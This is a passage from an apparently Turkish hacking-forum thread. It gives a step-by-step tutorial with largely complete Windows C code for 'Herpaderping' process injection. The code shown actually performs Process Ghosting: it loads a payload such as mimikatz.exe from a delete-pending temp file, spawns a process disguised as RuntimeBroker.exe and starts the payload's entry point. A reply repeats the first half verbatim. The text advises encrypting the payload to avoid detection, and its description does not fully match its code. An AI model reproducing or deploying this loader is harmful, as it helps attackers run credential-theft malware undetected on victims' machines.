Herpaderping Process Injection

xzh

Üye
8 Nis 2020
217
71
Herpaderping işlemi, bir PE yükünü uzak bir işleme enjekte etmek için kullanılan başka bir PE enjeksiyon yöntemidir. Process Ghosting'e benzer şekilde, Herpaderping işlemi, var olan bir dosyayı diskteki yük ile üzerine yazarak, ardından NtCreateSection ve NtCreateProcessEx sistem çağrılarını kullanarak üzerine yazılan dosyanın açık kolu üzerinden uzak bir işlem oluşturur

Herpaderping Adımları :
  1. PE payload alın. PE payloadımız diskte okunacak. İdeal bir durumda, yükü şifrelemeli ve resource bölümünde saklamalısınız.​
  2. Diskte boş bir dosya oluşturun. Burada, $env:TMP dizininde bir .tmp dosyası oluşturacağız. Bu dosya, daha sonraki bir adımda PE paylad ile üzerine yazacağız.​
  3. Geçici dosyanın üzerine PE yükü yazmamız gerekicek.​
  4. NtCreateSection syscall kullanarak geçici dosyanın mevcut durumunda bir bölüm kolu oluşturacağız​
  5. Daha önce oluşturulan bölümden bir işlem oluşturun, NtCreateProcessEx syscall'ini kullanarak.​
  6. Geçici dosyanın içeriğini bir Windows PE ile üzerine yazın.​
  7. Oluşturulan işleme işlem parametrelerini ve ortam bloğunu manuel olarak yazın.​
  8. PE yükünün giriş noktasını alın ve yeni oluşturulan bir thread aracılığıyla çalıştırın.​


1. PE payloadının alınması

İlk adım, diskten mimikatz.exe gibi bir PE payload'ını okumak olacaktır. Bu işlem, aşağıda gösterilen ReadPayloadFile fonksiyonu kullanılarak gerçekleştirilir. ReadPayloadFile fonksiyonu aşağıdaki parametreleri kabul eder:

Kod:
szFileName: Diskteki mimikatz.exe dosyasının yolunu temsil eder.
ppFileBuffer: Okunan dosyanın adresini alacak bir PBYTE değişkeninin işaretçisidir.
pdwFileSize: Okunan dosyanın boyutunu alacak bir DWORD değişkeninin işaretçisidir.

Kod:
#define ALLOC(SIZE) LocalAlloc(LPTR, (SIZE_T)SIZE)
#define FREE(BUFF) LocalFree((LPVOID)BUFF)
#define REALLOC(BUFF, SIZE) LocalReAlloc(BUFF, SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT)

BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    PBYTE pTmpReadBuffer = NULL;
    DWORD dwFileSize = NULL,
          dwNumberOfBytesRead = NULL;

    if (!szFileName || !pdwFileSize || !ppFileBuffer)
        return FALSE;

    if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        PRNT_WN_ERR(TEXT("CreateFileW"));
        return FALSE;
    }

    if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        PRNT_WN_ERR(TEXT("GetFileSize"));
        goto _FUNC_CLEANUP;
    }

    if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
        PRNT_WN_ERR(TEXT("LocalAlloc"));
        goto _FUNC_CLEANUP;
    }

    if (!ReadFile(hFile, pTmpReadBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        PRNT_WN_ERR(TEXT("ReadFile"));
        goto _FUNC_CLEANUP;
    }

    *ppFileBuffer = pTmpReadBuffer;
    *pdwFileSize = dwFileSize;

_FUNC_CLEANUP:
    DELETE_HANDLE(hFile);
    if (pTmpReadBuffer && !*ppFileBuffer)
        FREE(pTmpReadBuffer);

    return *ppFileBuffer == NULL ? FALSE : TRUE;
}
İşlev başarılı olursa TRUE, aksi takdirde FALSE döndürür.

2. Geçici dosya oluşturmak.
Kod:
#define PE_FILE_COMMAND_ARG L"coffee"
WCHAR szTmpPath[MAX_PATH] = { 0x00 };
WCHAR szTmpFileName[MAX_PATH] = { 0x00 };
WCHAR szTmpFilePath[MAX_PATH * 2] = { 0x00 };

// Geçici dizin yolunu al
if (GetTempPathW(MAX_PATH, szTmpPath) == 0x00) {
    PRNT_WN_ERR(TEXT("GetTempPathW"));
    return -1;
}

// Geçici bir dosya oluştur (szTmpFileName adında)
if (GetTempFileNameW(szTmpPath, L"PG", 0x00, szTmpFileName) == 0x00) {
    PRNT_WN_ERR(TEXT("GetTempFileNameW"));
    return -1;
}

swprintf_s(szTmpFilePath, MAX_PATH * 2, L"%s %s", szTmpFileName, PE_FILE_COMMAND_ARG);

Bu kod parçacığı, geçici bir dosya oluşturmak için gerekli adımları içerir. İşlevlerin her biri aşağıdaki görevleri gerçekleştirir:
  1. GetTempPathW: Geçici dosya dizinini alır.
  2. GetTempFileNameW: Geçici bir dosya adı oluşturur.
  3. swprintf_s: Geçici dosyanın yolu ve adını, PE payladına iletilen argümanlarla birlikte birleştirir.
Bu adım, belirli bir işlemin geçici bir dosya içinde yürütülmesini sağlar. Örneğin, bu adımda "mimikatz" programının "coffee" komutunu çalıştırıyoruz.

3-cü adımda ise, .tmp dosyasından ghost bölüm oluşturacağız. İlerlemeye başlamadan önce, uygulama boyunca çağrılan sistem çağrılarının adreslerini almak gereklidir. Bu, kullanıcı tanımlı NT_API_FP yapısını aşağıdaki kod parçacığında gösterildiği gibi başlangıçta doldurarak ana işlevin başında yapılacaktır.

Kod:
typedef struct _NT_API_FP {
    fnNtOpenFile pNtOpenFile;
    fnNtSetInformationFile pNtSetInformationFile;
    fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
    fnNtWriteVirtualMemory pNtWriteVirtualMemory;
    fnNtWriteFile pNtWriteFile;
    fnNtCreateSection pNtCreateSection;
    fnRtlCreateProcessParametersEx pRtlCreateProcessParametersEx;
    fnNtCreateProcessEx pNtCreateProcessEx;
    fnNtQueryInformationProcess pNtQueryInformationProcess;
    fnNtCreateThreadEx pNtCreateThreadEx;
    fnNtReadVirtualMemory pNtReadVirtualMemory;
} NT_API_FP, * PNT_API_FP;

NT_API_FP g_NtApi = { 0x00 };

int main() {
    HMODULE hNtdll = NULL;
    if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
        return -1;
    g_NtApi.pNtSetInformationFile = (fnNtSetInformationFile)GetProcAddress(hNtdll, "NtSetInformationFile");
    g_NtApi.pNtOpenFile = (fnNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
    g_NtApi.pNtWriteFile = (fnNtWriteFile)GetProcAddress(hNtdll, "NtWriteFile");
    g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    g_NtApi.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    g_NtApi.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    g_NtApi.pRtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    g_NtApi.pNtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    g_NtApi.pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    g_NtApi.pNtReadVirtualMemory = (fnNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
    g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (!g_NtApi.pNtSetInformationFile || !g_NtApi.pNtOpenFile || !g_NtApi.pNtWriteFile || !g_NtApi.pNtCreateProcessEx ||
        !g_NtApi.pRtlCreateProcessParametersEx ||
        !g_NtApi.pNtQueryInformationProcess || !g_NtApi.pNtCreateSection || !g_NtApi.pNtCreateThreadEx || !g_NtApi.pNtReadVirtualMemory ||
        !g_NtApi.pNtAllocateVirtualMemory ||
        !g_NtApi.pNtWriteVirtualMemory)
    {
        return -1;
    }
    // ...
}


CreateGhostSection Fonksiyonu.
tmp dosyasından ghost bölüm oluşturmak için aşağıdaki adımlar izlenmelidir.
  1. .tmp dosyasına silme izniyle bir işlem tanıtıcısı (handler) alınır. Bu adım, NtOpenFile sistem çağrısı kullanılarak gerçekleştirilir.
  2. Dosya işlem tanıtıcısının kapatıldığında silinmesi için dosya tanıtıcı bilgisini değiştirin. Bu adım, NtSetInformationFile sistem çağrısı kullanılarak gerçekleştirilir.
  3. .tmp dosya içeriğini PE yüküyle üzerine yazın.
  4. .tmp dosya işlem tanıtıcısından bir bölüm tanıtıcısı oluşturun. Bu adım, NtCreateSection sistem çağrısı kullanılarak gerçekleştirilir.
  5. Dosya işlem tanıtıcısını kapatın, .tmp dosyasını silerek kapatın.

CreateGhostSection fonksiyonu yukarıdaki adımların tümünü gerçekleştirecektir. Fonksiyonun aşağıdaki parametreleri vardır:

  • szFileName: NT yol biçiminde oluşturulan geçici dosyanın yolunu içerir.
  • pFileBuffer: PE payloadın temel adresini içerir.
  • dwFileSize: PE payloadı dosyasının boyutunu içerir.
  • phGhostSection: Ghost bölüm saplanacağı HANDLE değişkeninin bir işaretçisidir.
CreateGhostSection çağrıldıktan sonra, PE payladı içeren silinmiş geçici dosya için bir bölüm sapı oluşturulacaktır.
Kod:
BOOL CreateGhostSection(IN LPWSTR szFileName, IN PVOID pFileBuffer, IN DWORD dwFileSize, OUT HANDLE* phGhostSection) {
    HANDLE hFileHandle = INVALID_HANDLE_VALUE,
           hSection = NULL;
    NTSTATUS STATUS = STATUS_SUCCESS;
    UNICODE_STRING uFileName = { 0x00 };
    OBJECT_ATTRIBUTES ObjectAttr = { 0x00 };
    IO_STATUS_BLOCK StatusBlock = { 0x00 };
    FILE_DISPOSITION_INFORMATION FileDispInfo = { .DeleteFileW = TRUE };
    LARGE_INTEGER ByteOffset = { 0x00 };
    
    if (!szFileName || !pFileBuffer || !dwFileSize || !phGhostSection)
        return FALSE;
    
    RtlInitUnicodeString(&uFileName, szFileName);
    InitializeObjectAttributes(&ObjectAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtOpenFile(&hFileHandle, (DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE), &ObjectAttr, &StatusBlock,
                                                  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT)))) {
        PRNT_NT_ERR(TEXT("NtOpenFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
    
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtSetInformationFile(hFileHandle, &StatusBlock, &FileDispInfo, sizeof(FILE_DISPOSITION_INFORMATION),
                                                           FileDispositionInformation)))) {
        PRNT_NT_ERR(TEXT("NtSetInformationFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
    
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteFile(hFileHandle, NULL, NULL, NULL, &StatusBlock, pFileBuffer, dwFileSize, &ByteOffset, NULL)))) {
        PRNT_NT_ERR(TEXT("NtWriteFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
    
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFileHandle)))) {
        PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
        goto _FUNC_CLEANUP;
    }
    
    *phGhostSection = hSection;
    
_FUNC_CLEANUP:
    DELETE_HANDLE(hFileHandle);
    if (!*phGhostSection) {
        DELETE_HANDLE(hSection);
    }
    
    return *phGhostSection ? TRUE : FALSE;
}

4. Ghost Sürecinin Oluşturulması
Ghost süreci, tipik bir yürütülebilir görüntü yolu sağlamak yerine bir bölüm işaretçisi kullanarak NtCreateProcessEx syscall kullanılarak oluşturulacaktır. CreateGhostProcess işlevi aşağıdaki parametreleri alır:
szLegitPeFile: Meşru bir Windows yürütülebilir görüntüye giden yol. Bu görüntü yürütülmeyecek, ancak ghost işlemin komut satırında işlemin yürütülebilir görüntü yolunu doldurmak için kullanılacaktır. Bu parametre, PE yükünün giriş noktası RVA'sını almak için gereklidir (örneğin, L"C:\Windows\system32\RuntimeBroker.exe coffee" gibi komut satırı argümanları içerebilir).hGhostSection: ghost bölümüne bir işaretçi. Bu parametre, CreateGhostSection işlevi çağrıldıktan sonra alınır.pPayloadPeBuffer: PE yükünün bir işaretçisi. Bu, PE'nin giriş noktası RVA'sını almak için gereklidir.
Aşağıdaki kod parçası, hayalet işlemi oluşturan CreateGhostProcess işlevinin ilk kısmıdır.

Kod:
BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {
    BOOL bResult = FALSE;
    NTSTATUS STATUS = STATUS_SUCCESS;
    HANDLE hProcess = NULL,
           hThread = NULL;
    PVOID pImageBase = NULL,
          pEntryPnt = NULL;
    DWORD dwEntryPntRVA = 0x00;

    if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer)
        return FALSE;

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL,
                                                          NULL, FALSE)))) {
        PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
        goto _FUNC_CLEANUP;
    }

    printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));

    // ...
}

5-ci adım: Ghost İşlem Parametrelerinin Başlatılması
Şu anda oluşturulan ghost işlemin önemli bileşenleri eksiktir, özellikle komut satırı ve kullanıcı ortam değişkenleri. Bu bileşenler, bir işlemin başlaması için gereklidir, bu nedenle bu değerleri uzaktaki işlemdeki doğru adreslere yazmamız gerekmektedir.
Programatik açıdan, ghost işlem PEB yapısındaki PRTL_USER_PROCESS_PARAMETERS ProcessParameters öğesini eksik olarak bulunmaktadır. RTL_USER_PROCESS_PARAMETERS yapısına yazmadan önce aşağıdaki öğelerin başlatılması gerekmektedir:

  • CommandLine: İşlemin komut satırı argümanları.
  • CurrentDirectory: İşlemin çalıştırıldığı geçerli dizin yolunu içerir.
  • ImagePathName: İşlemin yürütülebilir dosya yolu.
  • Environment: Geçerli kullanıcının çevresel değişkenleri.
ProcessParameters->Environment öğesi, RTL_USER_PROCESS_PARAMETERS yapısının ortam değişkenlerinin adresine işaret ettiği için, ProcessParameters->Environment, PEB.ProcessParameters adresinin üstünde veya altında olabilir. Bu durum, Environment öğesini PEB.ProcessParameters'ın geri kalanıyla ayrı bir yazma işlemi olarak, farklı bir adreste yazmamızı gerektirir. Dolayısıyla, ProcessParameters->Environment PEB.ProcessParameters adresinin üstünde veya altında bulunabilir ve bu durumda biri gerçekleşebilir:
Bu kod örneğinde, InitializeProcessParms işlevi, mevcut kullanıcının ortam değişkenlerini ve PEB.ProcessParameters yapısını yazmak için kullanılır. InitializeProcessParms, önce hangi adresin önce olduğunu kontrol eder ve ardından gerekli verileri doğru adreslerde yazmak için devam eder. Son olarak, InitializeProcessParms, uzak işlemin PEB yapısındaki ProcessParameters öğesinin adresini NtWriteVirtualMemory syscall'ının son bir çağrısıyla günceller.

İşlevin bir diğer rolü, uzak işlem içindeki eşleştirilmiş PE yükü görüntüsünün adresini almak ve bu adresi PE yükünün giriş noktasını hesaplamak için gereklidir. Bu adres, NtQueryInformationProcess ve NtReadVirtualMemory syscall'larını kullanarak PEB yapısını okuyarak alınır.

InitializeProcessParms işlevi aşağıdaki parametreleri alır:

  • hProcess: Oluşturulan hayalet işlemine bir işaretçi.
  • szTargetProcess: Hayalet işlemin komut satırı argümanları.
  • ppImageBase: Hayalet işlemdeki eşleştirilmiş PE yükü görüntüsünün adresini alacak bir PVOID işaretçisi.
Kod:
BOOL InitializeProcessParms(IN HANDLE hProcess, IN LPWSTR szTargetProcess, OUT PVOID* ppImageBase) {
    NTSTATUS STATUS = STATUS_SUCCESS;
    UNICODE_STRING UsCommandLine = { 0x00 },
                   UsNtImagePath = { 0x00 },
                   UsCurrentDirectory = { 0x00 };
    PRTL_USER_PROCESS_PARAMETERS pUserProcParms = { 0x00 };
    PVOID pEnvironment = NULL;
    PWCHAR pwcDuplicateStr = NULL,
           pwcDuplicateStr2 = NULL,
           pwcExe = NULL,
           pwcLastSlash = NULL;
    PEB Peb = { 0x00 };
    PROCESS_BASIC_INFORMATION ProcInfo = { 0x00 };
    ULONG_PTR uUserEnvAndParmsBaseAddress = NULL,
              uUserEnvAndParmsEndAddress = NULL;
    SIZE_T sUserEnvAndParmsSize = NULL,
           sNumberOfBytesWritten = NULL;
    PVOID pTmpPntrAddress = NULL;

    /*
     * szTargetProcess - L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" (UNICODE_STRING UsCommandLine)
     * pwcDuplicateStr - L"C:\\Windows\\system32" (UNICODE_STRING UsCurrentDirectory)
     * pwcDuplicateStr2 - L"C:\\Windows\\system32\\RuntimeBroker.exe" (UNICODE_STRING UsNtImagePath)
     */

    if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
        return FALSE;

    if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))
        *pwcLastSlash = L'\0';

    if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
        return FALSE;

    if (pwcExe = wcsstr(pwcDuplicateStr2, L".exe"))
        *(pwcExe + sizeof(".exe")) = L'\0';

    // Retrieves the environment variables
    if (!CreateEnvironmentBlock(&pEnvironment, NULL, TRUE)) {
        PRNT_WN_ERR(TEXT("CreateEnvironmentBlock"));
        return FALSE;
    }

    RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
    RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
    RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);

    if (!NT_SUCCESS((STATUS = g_NtApi.pRtlCreateProcessParametersEx(&pUserProcParms, &UsNtImagePath, NULL, &UsCurrentDirectory, &UsCommandLine, pEnvironment,
                                                                   NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)))) {
        PRNT_NT_ERR(TEXT("RtlCreateProcessParametersEx"), STATUS);
        return FALSE;
    }

    // Fetch Remote PEB
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL)))) {
        PRNT_NT_ERR(TEXT("NtQueryInformationProcess"), STATUS);
        return FALSE;
    }

    // Read PEB
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
        PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
        return FALSE;
    }

    printf("[+] Ghost Process PEB: 0x%p \n", ProcInfo.PebBaseAddress);
    printf("[+] Ghost Process Image: 0x%p \n", (*ppImageBase = Peb.ImageBase));

    uUserEnvAndParmsBaseAddress = (ULONG_PTR)pUserProcParms;
    uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;

    if (pUserProcParms->Environment) {
        // Adjust start address (Scenario 2)
        if ((ULONG_PTR)pUserProcParms > (ULONG_PTR)pUserProcParms->Environment)
            uUserEnvAndParmsBaseAddress = (ULONG_PTR)pUserProcParms->Environment;

        // Adjust end address (Scenario 2)
        if ((ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize > uUserEnvAndParmsEndAddress)
            uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize;
    }

    // Calculate size
    sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;

    // Set a tmp var
    pTmpPntrAddress = pUserProcParms;

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtAllocateVirtualMemory(hProcess, &pTmpPntrAddress, 0x00, &sUserEnvAndParmsSize, MEM_COMMIT | MEM_RESERVE,
                                                               PAGE_READWRITE)))) {
        PRNT_NT_ERR(TEXT("NtAllocateVirtualMemory"), STATUS);
        return FALSE;
    }

    // Write 'Peb.ProcessParameters'
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumberOfBytesWritten)))) {
        PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [1]"), STATUS);
        return FALSE;
    }

    if (pUserProcParms->Environment) {
        // Write 'Peb.ProcessParameters->Environment'
        if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, (LPVOID)(pUserProcParms->Environment), (LPVOID)pUserProcParms->Environment,
                                                               pUserProcParms->EnvironmentSize, &sNumberOfBytesWritten)))) {
            PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [2]"), STATUS);
            printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, pUserProcParms->EnvironmentSize);
            return FALSE;
        }
    }

    // Update the address of the 'ProcessParameters' element in remote process to point to the new location
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID),
                                                           &sNumberOfBytesWritten)))) {
        PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [3]"), STATUS);
        printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, sizeof(PVOID));
        return FALSE;
    }

    return TRUE;
}

6. PE Payloadının Giriş Noktasını Çalıştırma
InitializeProcessParms fonksiyonunu çağırdıktan ve giriş noktasının RVA'sını alıktan sonra, yükün giriş noktasının adresini hesaplamak mümkündür. Bu adım, giriş noktasını çalıştırmak için ghost işlemde bir NtCreateThreadEx syscall çağrısı ile devam edilir. Giriş noktasının RVA'sını almak için aşağıdaki şekilde gösterilen FetchEntryPntOffset fonksiyonunu çağırmak gerekir. FetchEntryPntOffset fonksiyonu, birincil parametre olarak pFileBuffer, okunan PE yük dosyasının adresini kabul eder.

Kod:
DWORD FetchEntryPntOffset(IN PBYTE pFileBuffer) {
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;
return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

Tamamlanmış CreateGhostProcess Fonksiyonu
Kod:
BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {
    BOOL bResult = FALSE;
    NTSTATUS STATUS = STATUS_SUCCESS;
    HANDLE hProcess = NULL,
           hThread = NULL;
    PVOID pImageBase = NULL,
          pEntryPnt = NULL;
    DWORD dwEntryPntRVA = 0x00;
    
    // Check for valid inputs
    if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer)
        return FALSE;
    
    // Create ghost process
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL, NULL, FALSE)))) {
        PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
        goto _FUNC_CLEANUP;
    }
    printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));
    printf("[i] Initializing Process Parms ... \n");
    
    // Initialize process parameters
    if (!InitializeProcessParms(hProcess, szLegitPeFile, &pImageBase) || !pImageBase)
        goto _FUNC_CLEANUP;
    
    // Fetch entry point RVA
    if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
        goto _FUNC_CLEANUP;
    
    // Calculate entry point address
    pEntryPnt = (PVOID)((ULONG_PTR)pImageBase + dwEntryPntRVA);
    printf("[+] Ghost Process Entry Point: 0x%p \n", pEntryPnt);
    
    // Create thread to execute payload
    if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL))) {
        PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
        goto _FUNC_CLEANUP;
    }
    printf("[*] Payload PE Executed With Thread Of ID: %d \n", GetThreadId(hThread));
    
    bResult = TRUE;
    
    _FUNC_CLEANUP:
    DELETE_HANDLE(hGhostSection);
    DELETE_HANDLE(hProcess);
    DELETE_HANDLE(hThread);
    
    return bResult;
}

Demo :



SurivDemo.gif



Process Herpaderping | herpaderping




Referanslar:

 

44shell

Yeni üye
27 Eki 2023
19
7
root@44shell
Herpaderping işlemi, bir PE yükünü uzak bir işleme enjekte etmek için kullanılan başka bir PE enjeksiyon yöntemidir. Process Ghosting'e benzer şekilde, Herpaderping işlemi, var olan bir dosyayı diskteki yük ile üzerine yazarak, ardından NtCreateSection ve NtCreateProcessEx sistem çağrılarını kullanarak üzerine yazılan dosyanın açık kolu üzerinden uzak bir işlem oluşturur

Herpaderping Adımları :
  1. PE payload alın. PE payloadımız diskte okunacak. İdeal bir durumda, yükü şifrelemeli ve resource bölümünde saklamalısınız.​
  2. Diskte boş bir dosya oluşturun. Burada, $env:TMP dizininde bir .tmp dosyası oluşturacağız. Bu dosya, daha sonraki bir adımda PE paylad ile üzerine yazacağız.​
  3. Geçici dosyanın üzerine PE yükü yazmamız gerekicek.​
  4. NtCreateSection syscall kullanarak geçici dosyanın mevcut durumunda bir bölüm kolu oluşturacağız​
  5. Daha önce oluşturulan bölümden bir işlem oluşturun, NtCreateProcessEx syscall'ini kullanarak.​
  6. Geçici dosyanın içeriğini bir Windows PE ile üzerine yazın.​
  7. Oluşturulan işleme işlem parametrelerini ve ortam bloğunu manuel olarak yazın.​
  8. PE yükünün giriş noktasını alın ve yeni oluşturulan bir thread aracılığıyla çalıştırın.​


1. PE payloadının alınması

İlk adım, diskten mimikatz.exe gibi bir PE payload'ını okumak olacaktır. Bu işlem, aşağıda gösterilen ReadPayloadFile fonksiyonu kullanılarak gerçekleştirilir. ReadPayloadFile fonksiyonu aşağıdaki parametreleri kabul eder:

Kod:
szFileName: Diskteki mimikatz.exe dosyasının yolunu temsil eder.
ppFileBuffer: Okunan dosyanın adresini alacak bir PBYTE değişkeninin işaretçisidir.
pdwFileSize: Okunan dosyanın boyutunu alacak bir DWORD değişkeninin işaretçisidir.

Kod:
#define ALLOC(SIZE) LocalAlloc(LPTR, (SIZE_T)SIZE)
#define FREE(BUFF) LocalFree((LPVOID)BUFF)
#define REALLOC(BUFF, SIZE) LocalReAlloc(BUFF, SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT)

BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    PBYTE pTmpReadBuffer = NULL;
    DWORD dwFileSize = NULL,
          dwNumberOfBytesRead = NULL;

    if (!szFileName || !pdwFileSize || !ppFileBuffer)
        return FALSE;

    if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        PRNT_WN_ERR(TEXT("CreateFileW"));
        return FALSE;
    }

    if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        PRNT_WN_ERR(TEXT("GetFileSize"));
        goto _FUNC_CLEANUP;
    }

    if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
        PRNT_WN_ERR(TEXT("LocalAlloc"));
        goto _FUNC_CLEANUP;
    }

    if (!ReadFile(hFile, pTmpReadBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        PRNT_WN_ERR(TEXT("ReadFile"));
        goto _FUNC_CLEANUP;
    }

    *ppFileBuffer = pTmpReadBuffer;
    *pdwFileSize = dwFileSize;

_FUNC_CLEANUP:
    DELETE_HANDLE(hFile);
    if (pTmpReadBuffer && !*ppFileBuffer)
        FREE(pTmpReadBuffer);

    return *ppFileBuffer == NULL ? FALSE : TRUE;
}
İşlev başarılı olursa TRUE, aksi takdirde FALSE döndürür.

2. Geçici dosya oluşturmak.
Kod:
#define PE_FILE_COMMAND_ARG L"coffee"
WCHAR szTmpPath[MAX_PATH] = { 0x00 };
WCHAR szTmpFileName[MAX_PATH] = { 0x00 };
WCHAR szTmpFilePath[MAX_PATH * 2] = { 0x00 };

// Geçici dizin yolunu al
if (GetTempPathW(MAX_PATH, szTmpPath) == 0x00) {
    PRNT_WN_ERR(TEXT("GetTempPathW"));
    return -1;
}

// Geçici bir dosya oluştur (szTmpFileName adında)
if (GetTempFileNameW(szTmpPath, L"PG", 0x00, szTmpFileName) == 0x00) {
    PRNT_WN_ERR(TEXT("GetTempFileNameW"));
    return -1;
}

swprintf_s(szTmpFilePath, MAX_PATH * 2, L"%s %s", szTmpFileName, PE_FILE_COMMAND_ARG);

Bu kod parçacığı, geçici bir dosya oluşturmak için gerekli adımları içerir. İşlevlerin her biri aşağıdaki görevleri gerçekleştirir:
  1. GetTempPathW: Geçici dosya dizinini alır.
  2. GetTempFileNameW: Geçici bir dosya adı oluşturur.
  3. swprintf_s: Geçici dosyanın yolu ve adını, PE payladına iletilen argümanlarla birlikte birleştirir.
Bu adım, belirli bir işlemin geçici bir dosya içinde yürütülmesini sağlar. Örneğin, bu adımda "mimikatz" programının "coffee" komutunu çalıştırıyoruz.

